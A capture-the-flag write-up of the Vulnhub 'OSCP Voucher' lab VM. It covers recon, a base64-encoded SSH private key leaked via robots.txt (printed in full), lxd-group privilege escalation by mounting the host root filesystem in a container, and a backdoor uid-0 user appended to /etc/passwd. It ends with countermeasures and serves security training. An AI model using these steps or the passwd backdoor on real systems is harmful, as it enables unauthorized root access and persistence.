Contents

OSCP Prep - Vulnhub's OSCP Voucher VM

If you wish to follow along, you can access the machine here.

Summary

This was a very easy machine originally created as a 30 day give away voucher for the OSCP lab, lab materials, and exam attempt. A hidden file was found on this machine’s web server which happened to be a user’s private SSH key. The private key was then used to log in to the machine as the oscp user which happened to be part of the lxd group. Users that are part of the lxd group implicitly have read/write/execute privileges as root.

Active Ports

sudo nmap -p22,80,33060 -sC -sV -oA nmap/full-tcp-version 192.168.254.157
Nmap scan report for 192.168.254.157
Host is up (0.00029s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.4.2
| http-robots.txt: 1 disallowed entry 
|_/secret.txt
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: OSCP Voucher – Just another WordPress site
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.80%I=7%D=9/21%Time=5F68E902%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000
SF:")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0
SF:\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r
SF:(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
MAC Address: 00:0C:29:58:C6:A0 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 21 13:55:30 2020 -- 1 IP address (1 host up) scanned in 22.27 seconds

Web Enumeartion (Leaked SSH user and private key)

Naviagting to the web service presented me with the following page:

/images/oscp-prep/oscp-voucher/oscp-webpage.png

Looking at the nmap scan, I noticed a path to a /robots.txt file:

/images/oscp-prep/oscp-voucher/oscp-robots-txt.png

I then downloaded the secret and base64 decoded it to get a user’s private key:

kali@kali:~/ctf/vulnhub/oscp/web/loot$ wget http://192.168.254.157/secret.txt
--2020-09-21 13:58:18--  http://192.168.254.157/secret.txt
Connecting to 192.168.254.157:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3502 (3.4K) [text/plain]
Saving to: ‘secret.txt’

secret.txt                                     100%[====================================================================================================>]   3.42K  --.-KB/s    in 0s

2020-09-21 13:58:18 (564 MB/s) - ‘secret.txt’ saved [3502/3502]

kali@kali:~/ctf/vulnhub/oscp/web/loot$ base64 -d secret.txt > secret.pt
kali@kali:~/ctf/vulnhub/oscp/web/loot$ cat secret.pt
-----BEGIN OPENSSH PRIVATE KEY-----
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
8nfK2oDc6LfrDmjQAAAAlvc2NwQG9zY3A=
-----END OPENSSH PRIVATE KEY-----

At this point, I needed to figured out which user this key belonged to. From reading the web page, I noticed that one user was named oscp, so I had two candidate users:

  • oscp
  • root

I was then able to use the private key to log in as the oscp user:

kali@kali:~/ctf/vulnhub/oscp/web/loot$ chmod 700 secret.pt
kali@kali:~/ctf/vulnhub/oscp/web/loot$ ssh -i secret.pt oscp@192.168.254.157
The authenticity of host '192.168.254.157 (192.168.254.157)' can't be established.
ECDSA key fingerprint is SHA256:j6pDoPWkkeKgplTqHPtxSxrMqrQRMPl5AIW2Lfn14y8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.254.157' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 21 Sep 2020 05:59:52 PM UTC

  System load:  0.08               Processes:             208
  Usage of /:   26.3% of 19.56GB   Users logged in:       0
  Memory usage: 69%                IPv4 address for eth0: 192.168.254.157
  Swap usage:   2%


111 updates can be installed immediately.
46 of these updates are security updates.
To see these additional updates run: apt list --upgradable


Last login: Sat Jul 11 16:50:11 2020 from 192.168.128.1
-bash-5.0$ id
uid=1000(oscp) gid=1000(oscp) groups=1000(oscp),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)

Privilege Escalation (Abusing lxd group privileges)

I checked the current groups the compromised oscp user was part of:

-bash-5.0$ id
uid=1000(oscp) gid=1000(oscp) groups=1000(oscp),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)

Notably, the oscp user was part of the lxd group. This meant that this user implicitly had read/write/execute privileges as root without requiring a password.

From here, I started building an Alpine Linux container so that I could eventually mount it to access the host’s root file system with write privileges. I used the following article from hacktricks as a reference:

On my Kali machine:

# Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
go get -d -v github.com/lxc/distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make

#Prepare the creation of alpine
mkdir -p /home/kali/ctf/vulnhub/oscp/privesc/ContainerImages/alpine/
cd /home/kali/ctf/vulnhub/oscp/privesc/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.architecture=x86_64 -o image.release=edge

This created the lxd.tar.xz and rootfs.squashfs files in my current working directory.

I then transferred those files from my Kali machine to the oscp machine:

-bash-5.0$ wget http://192.168.254.145:8000/lxd.tar.xz
--2020-09-21 18:29:38--  http://192.168.254.145:8000/lxd.tar.xz
Connecting to 192.168.254.145:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 872 [application/x-xz]
Saving to: ‘lxd.tar.xz’

lxd.tar.xz                                     100%[====================================================================================================>]     872  --.-KB/s    in 0s

2020-09-21 18:29:38 (89.1 MB/s) - ‘lxd.tar.xz’ saved [872/872]

-bash-5.0$ wget http://192.168.254.145:8000/rootfs.squashfs
--2020-09-21 18:29:46--  http://192.168.254.145:8000/rootfs.squashfs
Connecting to 192.168.254.145:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4415488 (4.2M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’

rootfs.squashfs                                100%[====================================================================================================>]   4.21M  --.-KB/s    in 0.05s

2020-09-21 18:29:46 (90.6 MB/s) - ‘rootfs.squashfs’ saved [4415488/4415488]

Next, I searched for the lxc tool:

-bash-5.0$ find / -iname lxc 2>/dev/null
/snap/lxd/16100/bin/lxc
/snap/lxd/16100/commands/lxc
/snap/lxd/16100/lxc
/snap/lxd/17320/bin/lxc
/snap/lxd/17320/commands/lxc
/snap/lxd/17320/lxc
/snap/bin/lxc
/usr/share/bash-completion/completions/lxc

The lxc tool was located at /snap/bin/lxc. Next, I imported the Alpine Linux image:

-bash-5.0$ /snap/bin/lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04

Image imported with fingerprint: 922072e9de0047fae387ad82163b54d59f029dc59dac4a9b53d46bedf8cc07d8
-bash-5.0$ /snap/bin/lxc image list
+--------+--------------+--------+-----------------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS  | FINGERPRINT  | PUBLIC |               DESCRIPTION               | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |
+--------+--------------+--------+-----------------------------------------+--------------+-----------+--------+------------------------------+
| alpine | 922072e9de00 | no     | Alpinelinux edge x86_64 (20200921_1825) | x86_64       | CONTAINER | 4.21MB | Sep 21, 2020 at 6:32pm (UTC) |
+--------+--------------+--------+-----------------------------------------+--------------+-----------+--------+------------------------------+

Then, I created a persistent storage location for the container runtime, specified a root disk device for starting the container, and mounted the host’s root file system into the container:

-bash-5.0$ /snap/bin/lxc storage create pool1 dir
Storage pool pool1 created
-bash-5.0$ /snap/bin/lxc profile device add default root disk path=/ pool=pool1
Device root added to default
-bash-5.0$ /snap/bin/lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc

Next, I started the container and invoked a shell in it:

-bash-5.0$ /snap/bin/lxc start privesc
-bash-5.0$ /snap/bin/lxc exec privesc /bin/sh
# cat /mnt/root/root/flag.txt
d73b04b0e696b0945283defa3eee4538

Notice that the root file system was mounted to /mnt/root in the container. Here, I had full read/write access to the host. Then, I appended a backdoor root user entry to the /etc/passwd file from within the container for more persistent access:

$ openssl passwd
Password:
Verifying - Password:
uPz1zBu9ZKVUg

From within the container:

echo 'r0kit:uPz1zBu9ZKVUg:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd

Since SSH was only enabled via public key, I used my existing shell session to switch to the r0kit user:

-bash-5.0$ su r0kit
Password:
root@oscp:/home/oscp# id
uid=0(root) gid=0(root) groups=0(root)

At this point, I had full remote code execution as root on the machine.

Failed Recon

  • Could not use the oscp user’s private key to SSH as root.
  • Could not recover the plaintext password for the admin user in the wordpress database in a reasonable amount of time.
  • Could not recover the oscp user’s password.

Countermeasures

  • Never expose SSH private keys on directories accessible via a web server.
  • Only allow super users of the machine to be part of the lxc/lxd groups. Any user that is part of that group implicitly has root read/write/execute privileges on the system.